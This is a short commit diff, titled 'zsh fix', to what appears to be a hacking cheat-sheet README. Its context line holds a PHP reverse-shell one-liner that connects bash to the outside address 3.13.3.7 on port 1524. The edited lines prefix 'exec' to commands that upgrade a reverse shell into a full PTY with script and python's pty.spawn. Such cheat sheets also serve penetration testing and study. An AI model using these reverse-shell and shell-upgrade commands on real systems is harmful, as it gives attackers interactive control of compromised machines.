zsh fix

README.md

@@ -392,14 +392,14 @@ php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
 Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrade the shell to a real PTY shell:
 
 ```
-$ script -qc /bin/bash /dev/null  # Linux
-$ script -q /dev/null /bin/bash   # BSD
+$ exec script -qc /bin/bash /dev/null  # Linux
+$ exec script -q /dev/null /bin/bash   # BSD
 ```
 
 Or:
 ```
 # Python
-$ python -c 'import pty; pty.spawn("/bin/bash")'
+$ exec python -c 'import pty; pty.spawn("/bin/bash")'
 ```
 
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